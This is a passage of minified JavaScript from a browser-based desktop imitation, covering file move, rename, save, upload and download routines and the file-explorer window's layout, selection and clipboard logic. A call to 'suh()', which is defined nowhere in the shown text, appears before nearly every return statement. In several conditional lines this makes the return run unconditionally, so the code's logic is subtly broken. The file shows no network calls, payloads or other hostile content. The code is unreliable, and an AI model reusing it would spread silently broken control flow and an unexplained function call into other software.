7183 t.move(e, n + l + (s ? "/" : ""), function(e) {
7184 o(e)
7185 }, !0)
7186 }, t.rename = function(e, n, o) {
7187 if ($fs.utils.isFolder(e)) {
7188 var i = e.split("/").slice(0, -2);
7189 i.push(n);
7190 r = i.join("/") + "/"
7191 } else var r = $fs.utils.getFolderPath(e) + n;
7192 t.move(e, r, o)
7193 }, t.move = function(e, i, s, l) {
7194 var f = $fs.utils.isFolder(e);
7195 $fs.utils.isFolderEmpty(e, function(u) {
7196 function c() {
7197 var e = $fs.utils.getFolderPath($);
7198 f ? s && s("/a/" + i) : o(e, function() {
7199 s && s("/a/" + i)
7200 })
7201 }
7202
7203 function d(e, t, n, o, i) {
7204 if (e === t) i();
7205 else if ($fs.utils.exist("/a/" + t)) {
7206 var r = $state.isLoading();
7207 r && $state.loaded(), $confirm(t + " already exist ! Overwrite ?", function(a) {
7208 r && $state.loading(), a ? o(e, t, n, i) : i()
7209 })
7210 } else o(e, t, n, i)
7211 }
7212 var $ = e.replace(/^\/a\//, "");
7213 if (i = i.replace(/^\/a\//, ""), f && !u) {
7214 var p = [];
7215 t.iterateFolder(e, function(e) {
7216 p.push(e)
7217 }).done(function() {
7218 $io.arr.each(p, function(n, o) {
7219 o === p.length - 1 ? t.move("/a/" + n, "/a/" + n.replace($, i), function() {
7220 l ? c() : t.delete(e, c)
7221 }, l) : t.move("/a/" + n, "/a/" + n.replace($, i), null, l)
7222 })
7223 })
7224 } else n(e, function(e) {
7225 d(e, i, l, r, c)
7226 }, function(e) {
7227 d(e, i, l, a, c)
7228 })
7229 })
7230 }, t.save = function(t, o, i) {
7231 function r(n) {
7232 $notif("File saved", t);
7233 var o = n || $fs.utils.getFileName(t);
7234 $fs.utils.getFolderPath(t) !== e._path.desktop || e._desktop[o] || $explorer.utils.saveIconPos(t, 1, o), e._events.trigger("change:" + t), $explorer.refresh(), i && i(o), $state.loaded()
7235 }
7236
7237 function a(e) {
7238 $io.File.Blob(e, function(n) {
7239 $db.set((t || "").replace(/^\/a\//, "") + e.name, n, function() {
7240 r(e.name)
7241 })
7242 }, e.type)
7243 }
7244 $state.loading();
7245 var s = $io.type(o);
7246 "FileList" === s ? $io.arr.all(o, function(e) {
7247 a(e)
7248 }) : "File" === s ? a(o) : n(t, function(e) {
7249 if ("Blob" === $io.type(o)) $io.Blob.String(o, function(t) {
7250 $store.set(e, t), r()
7251 });
7252 else if (t.endsWith(".json")) try {
7253 o = JSON.parse(o), $store.set(e, o), r()
7254 } catch (e) {
7255 $notif("Can't save changes", t + "<br>" + e)
7256 } else $store.set(e, o), r()
7257 }, function(e) {
7258 $db.set(e, o, r)
7259 }, function() {
7260 $state.loaded()
7261 })
7262 }, t.download = function(e, n) {
7263 if (!e) throw new Error("No path specified");
7264 n || (n = "string" == typeof e ? e.split("/").pop() : "derp"), "Blob" == $io.type(e) ? window.saveAs(e, n) : 0 === e.indexOf("/a/") ? t.open(e, "Blob", function(e) {
7265 window.saveAs(e, n)
7266 }) : function(e, t) {
7267 var n = document.createElement("a");
7268 "download" in n ? (n.setAttribute("href", e), n.setAttribute("download", t), $el(n).trigger("click")) : window.open(e, "_blank", "")
7269 }(e, n)
7270 };
7271 var s = document.createElement("input");
7272 s.type = "file", t.upload = function(e, t) {
7273 t = t || {}, s.accept = t.accept || "*", s.multiple = t.multiple || !1, s.onchange = function(t) {
7274 var n = this;
7275 setTimeout(function() {
7276 e(n.files), s.onchange = null
7277 }, 0)
7278 }, s.click()
7279 }, t.ondrop = function(e, t, n) {
7280 function o(e) {
7281 e.preventDefault(), s++, this.classList.add("ui_dropzone--droppable")
7282 }
7283
7284 function i(e) {
7285 suh(); return !1
7286 }
7287
7288 function r(e) {
7289 e.preventDefault(), 0 === --s && this.classList.remove("ui_dropzone--droppable")
7290 }
7291
7292 function a() {
7293 this.classList.remove("ui_dropzone--droppable"), $el(e).off("click", t, a)
7294 }
7295 var s = 0;
7296 $el(e).on("dragenter", t, o).on("dragover", t, i).on("dragleave", t, r).on("click", t, a).on("drop", t, function(e) {
7297 suh(); return e.preventDefault(), this.classList.remove("ui_dropzone--droppable"), n.apply(this, arguments), !1
7298 }, !0)
7299 }, t.setDotFolders = function(e) {
7300 $io.obj.each(e, function(n, o) {
7301 "number" == typeof n || ".." === o || "." === o || $fs.utils.isShortcut(o) || (Object.defineProperties(n, {
7302 "..": {
7303 enumerable: !1,
7304 value: e
7305 },
7306 ".": {
7307 enumerable: !1,
7308 value: n
7309 }
7310 }), t.setDotFolders(n))
7311 })
7312 }, t.getTruePath = function(e, n) {
7313 if ("string" != typeof n && (n = ""), e[".."]) {
7314 for (var o in e[".."])
7315 if (e[".."].hasOwnProperty(o) && e[".."][o] === e) suh(); return n = o + "/" + n, t.getTruePath(e[".."], n);
7316 suh(); return n
7317 }
7318 suh(); return n
7319 };
7320 t.scan = function(n, o) {
7321 0 === n.indexOf("/a/") ? $db.keys(function(i, r) {
7322 var a = {};
7323 "localStorageWrapper" != $db.store._driver && (r = r.concat($store.keys())), $io.arr.all(r, function(e, t) {
7324 $fs.utils.isFolder(e) ? $io.obj.path.call("/", a, e, {}) : $io.obj.path.call("/", a, e, 0)
7325 }), e._files.a = a, t.setDotFolders(e._files), o && o($io.obj.getPath(e._files, n, "/"))
7326 }) : o && o($io.obj.getPath(e._files, n, "/"))
7327 }, t.format = function(e) {
7328 $store.clear(), $db.clear(function() {
7329 "function" == typeof e && e()
7330 })
7331 }, window.$file = t
7332})
7333}(this);
7334//os/sys/explorer.js
7335system42("explorer", function(e) {
7336"use strict";
7337
7338function t(i, o, r) {
7339 function a(t) {
7340 function i(e) {
7341 var t = new Image;
7342 suh(); return t.width = 32, t.height = 32, t.src = $fs.utils.normalizeIcon(e), t
7343 }
7344 t || (t = k), k = t, w.save && v();
7345 var o, r = [],
7346 a = [],
7347 l = [],
7348 s = $fs.utils.iteratePath(t);
7349 if ("object" != typeof s) suh(); return !1;
7350 o = s.obj, t = "/" !== s.cwd ? s.cwd + "/" : s.cwd, r = s.dirs, a = s.files, l = s.lnks, 0 === t.indexOf("/a/") ? (L.classList.add("ui_explorer--local"), L.classList.remove("ui_explorer--not_local")) : (L.classList.add("ui_explorer--not_local"), L.classList.remove("ui_explorer--local")), a.sort(function(e, t) {
7351 suh(); return N(e, t)
7352 }), r.sort(function(e, t) {
7353 suh(); return N(e, t)
7354 }), l.sort(function(t, n) {
7355 if (0 !== p) suh(); return N(t, n);
7356 if (e._desktop && e._desktop[t] && e._desktop[n]) {
7357 var i = e._desktop[t],
7358 o = e._desktop[n];
7359 if (i && o) suh(); return i.time > o.time ? 1 : -1
7360 }
7361 });
7362 var c = document.createDocumentFragment(),
7363 u = document.createElement("div"),
7364 d = document.createElement("div"),
7365 f = document.createElement("span");
7366 u.setAttribute("tabindex", "0"), d.className = "ico";
7367 var m = !1;
7368 for ($io.arr.all(r, function(e) {
7369 var n = u.cloneNode(!1),
7370 o = f.cloneNode(!1);
7371 n.setAttribute("data-exe", t + e + "/"), n.setAttribute("data-path", t + e + "/"), n.setAttribute("data-name", e), n.className = "ui_icon ui_icon__folder";
7372 var r = $fs.utils.getInfo(t + e + "/");
7373 n.appendChild(i(r.icon)), o.textContent = r.name || e, n.appendChild(o), c.appendChild(n)
7374 }), $io.arr.all(a, function(e) {
7375 var n = u.cloneNode(!1),
7376 o = f.cloneNode(!1),
7377 r = $fs.utils.getInfo(e);
7378 r.exe = t + e, r.path = t + e, r.title = e, /\/c\/files\/images\/icons\/|\/c\/sys\/skins\//.test(t) && /^image\//.test(r.mime) && (m = !0), $io.obj.all(r, function(e, t) {
7379 n.setAttribute("data-" + t, e)
7380 }), n.setAttribute("data-name", e), o.textContent = e, n.className = "ui_icon ui_icon__file", n.appendChild(i(m ? t + e : r.icon)), n.appendChild(o), c.appendChild(n)
7381 }), $io.arr.all(l, function(n) {
7382 var r = n.replace(/\.lnk42$/, ""),
7383 a = u.cloneNode(!1),
7384 l = f.cloneNode(!1),
7385 s = $fs.utils.getInfo(r),
7386 d = $store.get((t + n).replace(/^\/a\//, ""));
7387 if ($extend(s, o[n], d), s) {
7388 s.path = t + n, s.title = s.title || r, s.name = n;
7389 var p = s.exe ? s.exe.match(/(.[^ ]*)/)[0] : null;
7390 (!s.icon || /file\.png$/.test(s.icon)) && p && e._apps[p] && e._apps[p].icon && (s.icon = e._apps[p].icon), s.icon && !/file\.png$/.test(s.icon) || !$fs.utils.isFolder(s.exe) || (s.icon = $fs.utils.getIcon(s.exe)), $io.obj.all(s, function(e, t) {
7391 a.setAttribute("data-" + t, e)
7392 }), l.textContent = s.title, a.className = "ui_icon ui_icon__file ui_icon__lnk42", a.appendChild(i(s.icon)), a.appendChild(l), c.appendChild(a)
7393 }
7394 }); L.firstChild;) L.removeChild(L.firstChild);
7395 L.appendChild(c), L.appendChild(A), (w.mimetype || w.ext) && $io.arr.all(L.querySelectorAll(".ui_icon__file"), function(e) {
7396 var t = !1;
7397 w.mimetype && w.mimetype.test(e.dataset.mime) && (t = !0), $io.arr.all(w.ext, function(n) {
7398 $fs.utils.getExt(e.dataset.title) === n && (t = !0)
7399 }), t || e.classList.add("ui_disabled")
7400 }), K && K.menu && K.menu.refresh(), w.silent || w.browse || $route(k), C && !w.save && h(C), K && K.changeTitle && K.changeIcon && (K.changeTitle($fs.utils.getFolderName(t) || "/"), K.changeIcon($fs.utils.getIcon(t))), n.call(j, w.viewType), w.onready.call(j, L), k = I.value = t
7401 }
7402
7403 function l() {
7404 var e = I.value,
7405 t = e.slice(0, -1).split("/");
7406 suh(); return t.pop(), e = t.join("/"), a(e ? e + "/" : "/")
7407 }
7408
7409 function s() {
7410 a(i = I.value)
7411 }
7412
7413 function c() {
7414 a(i = e._path.home)
7415 }
7416
7417 function u(e) {
7418 "number" != typeof(e = e || window.event).which && (e.which = e.keyCode), 13 == e.which && s()
7419 }
7420
7421 function d() {
7422 W.onchange = W.onkeyup = function(e) {
7423 v(), q(this.value), 13 === e.keyCode && K && K.close && K.close(!0)
7424 }, W.onfocus = function() {
7425 setTimeout(function() {
7426 t.utils.inputSelectFileName(W)
7427 }, 100)
7428 }, M.onchange = M.onkeyup = function(e) {
7429 _()
7430 }, g(C), x(C)
7431 }
7432
7433 function h(n) {
7434 setTimeout(function() {
7435 t.selection.remove();
7436 var i = L.querySelector('div[data-name="' + n + '"]');
7437 i && (e._selected = [i], i.classList.add("ui_selected"))
7438 }, 100)
7439 }
7440
7441 function v() {
7442 if (D && W) {
7443 var e = k + W.value;
7444 D.value = e, h(W.value)
7445 }
7446 }
7447
7448 function _() {
7449 if (M.value && "*" !== M.value) {
7450 var e = M.options[M.selectedIndex].dataset.ext;
7451 W.value = $fs.utils.replaceExt(W.value, e)
7452 }
7453 v()
7454 }
7455
7456 function x(t) {
7457 if (!t) suh(); return W.value = "derp", M.selectedIndex = 0, void _();
7458 var n = $fs.utils.getExt(t),
7459 i = e._get.ext.mime[n];
7460 if (t && n && i) {
7461 for (var o = 0; o < M.length; ++o)
7462 if (M.options[o].value == i) suh(); return void(M.value = i);
7463 M.selectedIndex = 0
7464 }
7465 }
7466
7467 function g(e) {
7468 W.value = e, setTimeout(function() {
7469 W.focus(), t.utils.inputSelectFileName(W)
7470 }, 100), v()
7471 }
7472
7473 function y(e, t, n) {
7474 var i = document.createElement("option");
7475 suh(); return i.value = e, i.dataset.ext = t, i.innerHTML = $io.str.truncate(n, 30), i.title = n, i
7476 }
7477
7478 function b() {
7479 a(i)
7480 }
7481 arguments.length < 3 && (r = o, o = null), i && "object" != typeof i || (i = (r = i).path || "/"), r || (r = {}), !0 === r.list && (r.viewType = "list"), !0 === r.icons && (r.viewType = "icons"), !0 === r.details && (r.viewType = "details"), !0 === r.workspace && (r.viewType = "workspace");
7482 var w = $extend({}, m, r),
7483 k = i,
7484 C = $fs.utils.getFileName(i);
7485 $fs.utils.isFolder(i) || (i = $fs.utils.getFolderPath(i)), w.save && (w.browse = !0), w.browse && (w.nav = !0), w.save && !w.accept && (w.accept = "*"), w.accept && $extend(w, $fs.utils.parseAccept(w.accept)), p++, w.id = p;
7486 var N = function() {
7487 try {
7488 "foo".localeCompare("bar", "i")
7489 } catch (e) {
7490 suh(); return "RangeError" === e.name
7491 }
7492 suh(); return !1
7493 }() ? function(e, t) {
7494 suh(); return e.localeCompare(t, "latin", {
7495 numeric: !0
7496 })
7497 } : function(e, t) {
7498 suh(); return e.localeCompare(t)
7499 },
7500 E = (document.createDocumentFragment(), document.createElement("div")),
7501 L = document.createElement("div"),
7502 A = document.createElement("div"),
7503 P = document.createElement("div"),
7504 I = document.createElement("input"),
7505 T = document.createElement("button"),
7506 O = document.createElement("button"),
7507 S = document.createElement("button"),
7508 F = document.createElement("button"),
7509 D = document.createElement("input");
7510 A.className = "ui_explorer__scrollview", A.style.width = "5px", A.style.height = "100px", A.style.display = "none", E.className = "ui_explorer_container", L.className = w.backgroundClass + " ui_explorer ui_explorer--" + w.viewType, "workspace" !== w.viewType && (L.className += " ui_explorer--not_workspace"), L.id = "ui_explorer_" + p, L.setAttribute("data-id", p), E.appendChild(L);
7511 var M, W, q = $io.fn.debounce(x, 100),
7512 j = t.current = f[p] = {
7513 el: {
7514 folder: L,
7515 scrollView: A
7516 },
7517 cfg: w,
7518 id: p,
7519 go: a,
7520 reorder: function() {
7521 n.call(j, w.viewType)
7522 },
7523 refresh: function(e) {
7524 var t = a(k);
7525 !1 === t && !1 === (t = l()) && a("/"), "function" == typeof e && e()
7526 },
7527 getSaveInput: function() {
7528 suh(); return W
7529 },
7530 getSelectionInput: function() {
7531 suh(); return D
7532 },
7533 getPath: function() {
7534 suh(); return k
7535 },
7536 getWindow: function() {
7537 suh(); return K
7538 }
7539 };
7540 if ("string" == typeof o && (o = document.querySelector(o)), w.style && L.setAttribute("style", w.style), L.setAttribute("touch-action", "none"), o) {
7541 var H = document.createElement("div");
7542 o.appendChild(H), $menu(H, $.barMenu, {
7543 keyTarget: L,
7544 thisArg: {
7545 el: L,
7546 explorer: j
7547 }
7548 }), o.appendChild(E), b()
7549 } else {
7550 var R = $extend({
7551 icon: "/c/sys/skins/" + e._settings.skin + "/places/folder.png",
7552 baseClass: "ui_explorer_window"
7553 }, w.window, {
7554 title: i,
7555 html: E,
7556 onactive: function() {
7557 t.current = j
7558 },
7559 onready: function() {
7560 b()
7561 },
7562 onopen: function() {
7563 w.onopen.call(this), w.save && d()
7564 },
7565 onclose: function(e) {
7566 w.nav && T.removeEventListener("click", l, !1), w.nav && S.removeEventListener("click", c, !1), w.nav && F.removeEventListener("click", s, !1), I && I.removeEventListener("keypress", u, !1), w.onclose.call(this, e, D.value), t.current = f[0], f[j.id] = null
7567 }
7568 });
7569 w.nav && (R.afterMenu = function() {
7570 suh(); return P.className = "flex ui_explorer__nav" + (w.nav ? "" : " hide"), T.innerHTML = "<", T.className = "skin_outset ui_explorer__nav__prev", S.innerHTML = '<img src="/c/sys/skins/w93/16/home.png">', S.className = "skin_outset ui_explorer__nav__home", O.innerHTML = ">", O.className = "skin_outset ui_explorer__nav__next", F.innerHTML = "Go", F.className = "skin_outset ui_explorer__nav__go", I.type = "text", I.value = i, I.className = "ui_explorer__nav__input flex__fluid", P.appendChild(T), P.appendChild(S), P.appendChild(I), P.appendChild(F), T.addEventListener("click", l, !1), F.addEventListener("click", s, !1), S.addEventListener("click", c, !1), I.addEventListener("keypress", u, !1), P
7571 }(), L.classList.add("ui_explorer--nav")), w.footer && (R.footer = function() {
7572 if (D.type = "text", D.className = "ui_explorer__selected_file" + (w.footer ? "" : " hide"), D.value = i, D.readOnly = !0, w.save) {
7573 var t = document.createElement("label");
7574 W = document.createElement("input"), M = document.createElement("select"), W.type = "text", t.textContent = "Name: ";
7575 var n = {};
7576 if ("*" === w.accept && M.appendChild(document.createElement("option")), (w.mimetype || w.ext) && ($io.arr.all(w.ext, function(t) {
7577 var i = e._get.ext.mime[t];
7578 if (!n[i]) {
7579 var o = $io.obj.getPath(e._get.mime.ext, i, "/");
7580 M.appendChild(y(i, t, (o[1] ? o[1] : i) + " (" + o[0] + ")")), n[i] = !0
7581 }
7582 }), $io.is.reg(w.mimetype))) {
7583 var o = $io.obj.getPath(e._get.mime.ext, w.mimetype, "/");
7584 $io.obj.each(o, function(e, t) {
7585 n[t] || (M.appendChild(y(t, e[0].split(",").shift().replace(".", ""), (e[1] ? e[1] : t) + " (" + e[0] + ")")), n[t] = !0)
7586 })
7587 }
7588 var r = document.createElement("div");
7589 suh(); return r.className = "ui_explorer__save_cont ui_combo", W.className = "ui_combo__main", M.style.marginLeft = "2px", r.appendChild(t), r.appendChild(W), r.appendChild(M), r.appendChild(D), r
7590 }
7591 suh(); return D
7592 }()), w.menu && (R.menuThisArg = {
7593 el: L,
7594 explorer: j
7595 }, R.menu = $.barMenu), w.browse && (L.classList.add("ui_explorer--browse"), R.title = "explorer", R.btnOk = w.save ? "Save" : "Open", R.btnCancel = "Cancel");
7596 var K = $window.call(this, R)
7597 }
7598 suh(); return j
7599}
7600
7601function n(t) {
7602 function n(e, t, i) {
7603 for (var r = 0, a = o.length; r < a; r++)
7604 if (r !== e && o[r].offsetTop === t && o[r].offsetLeft === i) suh(); return t + 2 * g > _ ? (t = 0, (i += x) + 2 * x > v && (i = 0, t += g)) : t += g, n(e, t, i);
7605 suh(); return {
7606 top: t,
7607 left: i
7608 }
7609 }
7610 var i = Array.prototype.slice;
7611 if ("workspace" === t) {
7612 var o = i.call(this.el.folder.querySelectorAll(".ui_icon"), 0);
7613 window.getComputedStyle(this.el.folder);
7614 if (v = this.el.folder.clientWidth, _ = this.el.folder.clientHeight, x = e._icons.w, g = e._icons.h, o.length)
7615 if (o.length * (x * g) > (v - x) * (_ - g)) this.el.folder.classList.add("ui_explorer--workspace--full");
7616 else {
7617 this.el.folder.classList.remove("ui_explorer--workspace--full"), o.sort(function(t, n) {
7618 var i = e._desktop[t.getAttribute("data-name")],
7619 o = e._desktop[n.getAttribute("data-name")];
7620 if (i && o) suh(); return i.time > o.time ? 1 : -1
7621 });
7622 var r = Date.now();
7623 $io.arr.each(o, function(t, n) {
7624 var i = e._desktop[t.getAttribute("data-name")];
7625 i || (i = e._desktop[t.getAttribute("data-name")] = {
7626 x: 0,
7627 y: 0,
7628 time: r + n
7629 });
7630 var o = i.y,
7631 a = i.x;
7632 o + g > _ && (o = Math.floor(_ / g) * g - 2 * g), o < 0 && (o = 0), a + x > v && (a = Math.floor(v / x) * x - x), a < 0 && (a = 0), t.style.position = "absolute", t.style.left = a + "px", t.style.top = o + "px", t.style.zIndex = n
7633 }), $io.arr.each(o, function(t, i) {
7634 var o = n(i, t.offsetTop, t.offsetLeft);
7635 t.style.left = o.left + "px", t.style.top = o.top + "px", e._desktop[t.getAttribute("data-name")] = {
7636 x: o.left,
7637 y: o.top,
7638 time: r + i
7639 }
7640 })
7641 }
7642 }
7643}
7644
7645function i() {
7646 if (!e._selected.length) suh(); return !1;
7647 if (r())
7648 for (var t = e._selected.length - 1; t >= 0; t--)
7649 if (e._selected[t].classList.contains("ui_icon__folder")) suh(); return !0
7650}
7651
7652function o() {
7653 suh(); return !e._selected.length
7654}
7655
7656function r() {
7657 suh(); return !t.current || !(0 === t.current.getPath().indexOf("/a/"))
7658}
7659
7660function a() {
7661 suh(); return !(!r() && !o())
7662}
7663
7664function l() {
7665 suh(); return !(!r() && (t.clipboard.copy.length > 0 || t.clipboard.cut.length > 0))
7666}
7667
7668function s() {
7669 if (this.el) suh(); return this.el.classList.contains("ui_icon__lnk42")
7670}
7671
7672function c(e) {
7673 for (var t = ["icons", "column", "list", "details", "workspace"], i = this.explorer.el.folder, o = 0, r = t.length; o < r; o++) i.classList.remove("ui_explorer--" + t[o]);
7674 i.classList.add("ui_explorer--" + e), "workspace" === e ? i.classList.remove("ui_explorer--not_workspace") : i.classList.add("ui_explorer--not_workspace"), this.explorer.cfg.viewType = e, n.call(this.explorer, this.explorer.el.folder)
7675}
7676
7677function u(e, t, n) {
7678 0 === e.indexOf("/a/") ? $prompt("Enter a name", function(i, o) {
7679 i && o && $db.set(e.replace(/^\/a\//, "") + o + (n ? "/" : ""), "", function() {
7680 $file.scan("/a/", function() {
7681 "function" == typeof t && t(o)
7682 })
7683 })
7684 }) : $notif("You don't have write permission on this drive", e)
7685}
7686
7687function d() {
7688 $io.arr.all(document.querySelectorAll(".ui_icon--cut"), function(e) {
7689 e.classList.remove("ui_icon--cut")
7690 })
7691}
7692var p = -1,
7693 f = [],
7694 m = {
7695 viewType: "icons",
7696 nav: !0,
7697 menu: !0,
7698 footer: !0,
7699 save: !1,
7700 browse: !1,
7701 silent: !1,
7702 backgroundClass: "skin_inset_deep skin_light",
7703 onopen: $noop,
7704 onready: $noop,
7705 onclose: $noop,
7706 window: {}
7707 };
7708e._selected = [], e.explorers = f, $el(e._dom.desktop).on("dblclick doubletap", ".ui_explorer .ui_icon:not(.ui_disabled)", function(e) {
7709 var n = this.getAttribute("data-path");
7710 t.setCurrent(this.parentNode, e), this.parentNode.classList.contains("ui_explorer--nav") && n && "/" === n.slice(-1) ? t.current && t.current.go && t.current.go(n) : this.parentNode.classList.contains("ui_explorer--browse") ? t.current && t.current.getWindow && t.current.getWindow().close(!0) : $exe(this) || $notif("No program is assigned to this kind of files")
7711}).on("click _touchstart", ".ui_explorer .ui_disabled", function(e) {
7712 t.setCurrent(this.parentNode, e);
7713 var n = t.current.getSaveInput();
7714 if (n) {
7715 var i = $fs.utils.getExt(n.value);
7716 n.value = $fs.utils.replaceExt(this.getAttribute("data-name"), i)
7717 }
7718 suh(); return !1
7719}).on("click _touchstart", ".ui_explorer .ui_icon:not(.ui_disabled)", function(n) {
7720 if (n.shiftKey && "absolute" !== this.style.position) {
7721 var i = e._selected[0];
7722 if (i && i.compareDocumentPosition(this) & Node.DOCUMENT_POSITION_FOLLOWING)
7723 for (o = i; !this.isEqualNode(o); o = o.nextElementSibling) - 1 === e._selected.indexOf(o) && e._selected.push(o);
7724 else
7725 for (var o = i; !this.isEqualNode(o); o = o.previousElementSibling) - 1 === e._selected.indexOf(o) && e._selected.push(o)
7726 } else n.ctrlKey || n.shiftKey || (e._selected.length = 0);
7727 var r = e._selected.indexOf(this);
7728 suh(); return t.setCurrent(this.parentNode, n), -1 === r ? e._selected.push(this) : e._selected.splice(r, 1), t.selection.display(), this.focus(), !1
7729}).on("mouseup", ".ui_explorer .ui_icon", function(n) {
7730 2 === n.button && (t.setCurrent(this.parentNode, n), this.classList.contains("ui_disabled") || (n.ctrlKey || -1 !== e._selected.indexOf(this) || (e._selected.length = 0), -1 === e._selected.indexOf(this) && e._selected.push(this), t.selection.display()), $.ctxFile.show({
7731 el: this,
7732 explorer: t.current
7733 }, { of: n,
7734 within: e._dom.screen
7735 }))
7736}).on("mousedown dragstart contextmenu", ".ui_explorer .ui_icon img", function(e) {
7737 e.preventDefault()
7738}).on("mouseup _touchstart", ".ui_explorer", function(n) {
7739 t.setCurrent(this, n), $drag.isDragging || !h && this.isEqualNode(n.target || n.srcElement) && (2 === n.button ? (e._selected.length = 0, $.ctxExplorer.show({
7740 el: this,
7741 explorer: t.current
7742 }, { of: n,
7743 within: e._dom.screen
7744 })) : ($route(""), e._selected.length = 0, t.selection.display()))
7745});
7746var h = !1;
7747$box(e._dom.desktop, ".ui_explorer", {
7748 target: ".ui_icon",
7749 onstart: function(e, t) {
7750 h = !0
7751 },
7752 ondraw: function(n, i) {
7753 var o = this.getAttribute("data-id");
7754 n.ctrlKey ? $io.arr.all(i, function(t) {
7755 -1 === e._selected.indexOf(t) && e._selected.push(t)
7756 }) : e._selected = i, t.selection.display(o)
7757 },
7758 onstop: function(e, t) {
7759 h = !1
7760 }
7761});
7762var v, _, x, g, y = {
7763 viewIcons: function() {
7764 c.call(this, "icons")
7765 },
7766 viewList: function(e) {
7767 c.call(this, "list")
7768 },
7769 viewColumn: function() {
7770 c.call(this, "column")
7771 },
7772 viewDetails: function() {
7773 c.call(this, "details")
7774 },
7775 viewWorkspace: function() {
7776 c.call(this, "workspace")
7777 },
7778 viewNavigation: function(e) {
7779 e ? (this.explorer.getWindow().el.afterMenu.classList.remove("hide"), this.explorer.el.folder.classList.add("ui_explorer--nav")) : (this.explorer.el.folder.classList.remove("ui_explorer--nav"), this.explorer.getWindow().el.afterMenu.classList.add("hide")), this.explorer.cfg.nav = e
7780 },
7781 viewFileTree: function(e) {
7782 e ? this.explorer.el.tree.classList.remove("hide") : this.explorer.el.tree.classList.add("hide"), this.explorer.cfg.fileTree = e
7783 },
7784 itemsOpenWith: function(t) {
7785 suh(); return !!e._selected.length && $fs.utils.getMenuOpenWith(e._selected)
7786 }
7787};
7788t.clipboard = {
7789 copy: [],
7790 cut: []
7791}, t.exe = {
7792 SelectAll: function() {
7793 e._selected = Array.prototype.slice.call(t.current.el.folder.querySelectorAll(".ui_icon")), t.selection.display()
7794 },
7795 Open: function() {
7796 t.selection.paths(function(e, t) {
7797 $exe(t)
7798 })
7799 },
7800 Copy: function(e, n) {
7801 d(), t.clipboard.copy.length = 0, t.clipboard.cut.length = 0, t.selection.paths(function(e, n) {
7802 t.clipboard.copy.push(e)
7803 })
7804 },
7805 Cut: function() {
7806 d(), t.clipboard.copy.length = 0, t.clipboard.cut.length = 0, t.selection.paths(function(e, n) {
7807 n.classList.add("ui_icon--cut"), t.clipboard.cut.push(e)
7808 })
7809 },
7810 Paste: function() {
7811 d(), $io.arr.all(t.clipboard.copy, function(e) {
7812 $fs.utils.isFolder(e);
7813 $file.copy(e, t.current.getPath(), function(e) {
7814 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh()
7815 })
7816 }), $io.arr.all(t.clipboard.cut, function(e) {
7817 t.clipboard.copy.push(e);
7818 var n = $fs.utils.isFolder(e),
7819 i = t.current.getPath() + $fs.utils.getName(e) + (n ? "/" : "");
7820 e !== i && $file.move(e, i, function() {
7821 t.refresh()
7822 })
7823 }), t.clipboard.cut.length = 0
7824 },
7825 Delete: function() {
7826 t.selection.truePaths(function(e) {
7827 $file.delete(e, function() {
7828 t.refresh(), $notif("File deleted", e)
7829 })
7830 })
7831 },
7832 Import: function() {
7833 $file.upload(function(e) {
7834 $file.save(t.current.getPath(), e, function(e) {
7835 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh()
7836 })
7837 })
7838 },
7839 DownloadAs: function() {
7840 t.selection.paths(function(e) {
7841 $fs.utils.isFolder(e) ? $archive(e) : $file.download(e)
7842 })
7843 },
7844 Zip: function() {
7845 $archive(e._selected)
7846 },
7847 Refresh: function() {
7848 t.refresh()
7849 },
7850 Format: function() {
7851 $file.format(function() {
7852 t.current.go("/a/")
7853 })
7854 },
7855 CreateFolder: function() {
7856 u(t.current.getPath(), function(e) {
7857 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh(e)
7858 }, !0)
7859 },
7860 CreateFile: function() {
7861 u(t.current.getPath(), function(e) {
7862 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh(e)
7863 })
7864 },
7865 CreateShortcut: function(n) {
7866 $window.form("Create Shortcut", {
7867 data: n || {},
7868 schema: e._shemas.shortcut
7869 }, function(e, n) {
7870 if (e) {
7871 var i = n.title || $fs.utils.getName(n.exe),
7872 o = t.current.getPath();
7873 $store.set(o.replace(/^\/a\//, "") + i + ".lnk42", n), t.utils.saveIconPos(t.current.getPath(), t.current.id, i + ".lnk42"), t.refresh(i + ".lnk42")
7874 }
7875 })
7876 },
7877 EditShortcut: function(n) {
7878 var i = [];
7879 document.activeElement;
7880 t.selection.all(function(n) {
7881 var o = n.getAttribute("data-path"),
7882 r = (n.getAttribute("data-title"), $fs.utils.getName(o));
7883 $window.form("Edit Shortcut", {
7884 data: $extend({}, n.dataset),
7885 schema: e._shemas.shortcut
7886 }, function(e, n) {
7887 if (e) {
7888 var a = o.replace(/^\/a\//, "");
7889 $store.update(a, function(e) {
7890 suh(); return $extend(e, n)
7891 }), i.push(r), t.refresh(i)
7892 }
7893 })
7894 })
7895 },
7896 Properties: function() {
7897 t.selection.all(function(e) {
7898 var t = $form.build($extend({}, e.dataset), {
7899 disabled: !0
7900 });
7901 $window({
7902 title: "Properties",
7903 html: t.el,
7904 width: 400,
7905 btnOk: "Close"
7906 })
7907 })
7908 },
7909 Rename: function() {
7910 var n = [];
7911 document.activeElement;
7912 t.selection.all(function(i) {
7913 var o = i.getAttribute("data-path"),
7914 r = i.getAttribute("data-title"),
7915 a = $fs.utils.getName(o),
7916 l = /\.lnk42$/.test(a),
7917 s = t.current;
7918 $prompt({
7919 msg: "New name ?",
7920 onready: function() {
7921 t.utils.inputSelectFileName(this.el.form.prompt)
7922 }
7923 }, r || a, function(i, r) {
7924 if (i) {
7925 var c = $io.str.truncate(r.replace(/[\/:]/g, "_"), 247);
7926 l && (c += ".lnk42");
7927 $fs.utils.getFolderPath(o);
7928 $file.rename(o, c, function(i) {
7929 if (t.current = s, l) {
7930 var o = i.replace(/^\/a\//, "");
7931 $store.update(o, function(e) {
7932 suh(); return e.name = r + ".lnk42", e.title = r, e
7933 })
7934 }
7935 e._desktop[a] && (e._desktop[c] = $extend({}, e._desktop[a]), delete e._desktop[a]), n.push(c), t.refresh(n)
7936 })
7937 }
7938 })
7939 })
7940 },
7941 OpenTerminalHere: function() {
7942 $exe("terminal " + t.current.getPath())
7943 }
7944};
7945var $ = {
7946 barMenu: [{
7947 name: "File",
7948 items: [{
7949 name: "Open",
7950 key: "enter",
7951 action: t.exe.Open,
7952 disabled: o
7953 }, {
7954 name: "Open With...",
7955 items: y.itemsOpenWith,
7956 disabled: o
7957 }, {
7958 name: "---"
7959 }, {
7960 name: "Create Folder...",
7961 key: "ctrl+shift+f",
